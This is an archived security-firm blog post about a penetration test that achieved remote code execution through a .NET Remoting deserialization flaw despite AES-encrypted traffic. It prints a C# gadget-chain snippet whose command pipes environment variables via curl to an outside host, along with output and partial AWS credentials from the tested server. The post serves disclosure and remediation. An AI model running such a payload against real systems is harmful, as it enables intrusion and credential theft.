

CVE from 2018 Strikes Again

CVE from 2018 Strikes Again - Colin McQueen, Stratum Security Blog.

- Published: 2023-01-23
- Original: <https://blog.stratumsecurity.com/2023/01/23/remote-code-execution-through-deserialization/>
- Preserved from: <https://blog.stratumsecurity.com/2023/01/23/remote-code-execution-through-deserialization/> (preserved-copy) on 2026-08-04
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Content

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Recently Stratum Security tested an application that was found to be vulnerable to **code execution via a deserialization flaw** ****documented in a CVE from **2018**. In an attempt to mitigate the code execution vulnerability, the developer attempted to encrypt the HTTP payload with AES encryption. In this post, we will show how we bypassed this protection and achieved code execution.

Application Background

After a user logs into the web application, they can click on a menu item that will launch a desktop application via a unique link sent to the user's browser. The desktop application allows the user to modify data within the remote server.

When the user launches the desktop application, it starts a login process using the user's web session and returns a base64 string with encrypted data containing the user's **AES key and IV**.

My PoC uses this base64 string with the desktop application session cookie as input to exploit the application.

Building the Exploit

First, I reviewed the desktop application's source code. The desktop application's network traffic couldn't be tampered with as it was encrypted and compressed.

I used ILSpy to review the source code of the application.

```

6 X-Powered-By: ARR/2.5
7 X-Robots-Tag: noindex
8 Content-Length: 537
9 Connection: Close
10
11 {
  "Return":
    "egEAAIAI
    RFubVKrQ
    G2C01oha
    zLxF8FQr
    pT6h454A
    6mqYcFGG
    zETEBUtA
  }

```

I created a PoC leveraging the desktop application's source code to build my own payload to send to the server.

DesktopTrafficDecoder

DesktopTrafficDecoder.cs

](<https://blog.stratumsecurity.com/content/files/2022/12/DesktopTrafficDecoder.cs>)

```
PS C:\Users\Fooba\Desktop> csc.exe /r:[redacted].dll,[redacted].dll,ICSharpCode.SharpZipLib.dll .\DesktopTrafficDecoder.cs
Microsoft (R) Visual C# Compiler version 4.8.4084.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer t
he latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533
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PS C:\Users\Fooba\Desktop> ./DesktopTrafficDecoder.exe
Status Code: OK

System.InvalidCastException?      ClassNameMessageDataInnerExceptionHelpURLStackTr
WatsonBuckets[System.Collections.IDictionary]System.Exception? System.InvalidCastException? ?Unable to cast object of type
'System.Collections.Generic.SortedSet`1[System.String]' to type 'System.Runtime.Remoting.Messaging.IMessage'.

at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bSt
riictBinding, TypeFilterLevel securityLevel)
    at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITr
ansportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
        ?08
DeserializeBinaryRequestMessage
System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Runtime.Remoting.Channels.CoreChannel
System.Runtime.Remoting.Messaging.InitializeBinaryRequestMessage(System.String, System.IO.Stream, Boolean, System.Runtime.Serializ
ation.Formatters.TypeFilterLevel)?System.Runtime.Remoting
?? 4System.Runtime.Remoting.Messaging.LogicalCallContext d
PS C:\Users\Fooba\Desktop>
```

Figure 2 - Compiled PoC and executed program to achieve RCE

In 2020 [ModZero](#)'s research mentioned the class was vulnerable to deserialization.

Achieving Remote Code Execution

Listed below is an example payload in the PoC that was used to serialize a SortedSet object with a command to retrieve environment variables, AWS keys, and the AWS EC2 user data that contained plaintext credentials:

```
// Small snippet from PoC that generates the serialized object payload before encrypting
public static object GeneratePayload() {
    // https://www.modzero.com/modlog/archives/2020/06/16/mz-20-03_-
    //_new_security_advisory_regarding_vulnerabilities_in__net/index.html
    // https://github.com/modzero/MZ-20-
    // 03_PoC_NetRemoting/blob/master/RemotingExploit/Program.cs
    Comparison c = new Comparison(string.Compare);
    var c2 = Func.Combine(c, c);
    TypeConfuseDelegate(c2, new Func(Process.Start));

    Comparison c3 = (Comparison)c2;
    // Response returned is an embedded exception
    // Unable to cast object of type
    'System.Collections.Generic.SortedSet`1[System.String]' to type
    'System.Runtime.Remoting.Messaging.IMessage'
    // Deserialization will still happen and command will execute regardless of the above
    exception
    // Exfil env vars
    SortedSet s = new SortedSet(new string[] { "cmd", "/c SET | curl -X POST --data-
    binary @- http://remoteserver.stratumsecurity.com/" });
    FieldInfo fi = typeof(SortedSet).GetField("comparer", BindingFlags.NonPublic |
    BindingFlags.Instance);
    fi.SetValue(s, Comparer.Create(c3));
    return s;
}
```

The following screenshots show the data that was retrieved using the PoC:

```

ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
APP_POOL_CONFIG=C:\inetpub\temp\appools\P008610\P008610.config
APP_POOL_ID=P008610
CommonProgramFiles=C:\Program Files (x86)\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=U-
ComSpec=C:\Windows\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\Puppet Labs\Puppet\bin;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_ARCHITECTUREW6432=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=5504
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files (x86)
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AWS Tools\PowerShell\
PUBLIC=C:\Users\Public
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Windows\TEMP
TMP=C:\Windows\TEMP
USERDOMAIN=
USERNAME=US-
USERPROFILE=C:\Windows\system32\config\systemprofile
windir=C:\Windows

```

Figure 3 - Retrieved environment variables on Windows EC2 instance

```

{
  "Code" : "Success",
  "LastUpdated" : "2022-12-01T19:28:08Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAWXU",
  "SecretAccessKey" : "XPP",
  "Token" : "FwoG",
  "Expiration" : "2022-12-02T01:32:58Z"
}

```

Figure 4 - Retrieved AWS keys

Remediation

Our recommended remediation for this vulnerability was to remove the current implementation that sends serialized .NET objects and replace it with a safer

implementation using Microsoft's latest JSON library.

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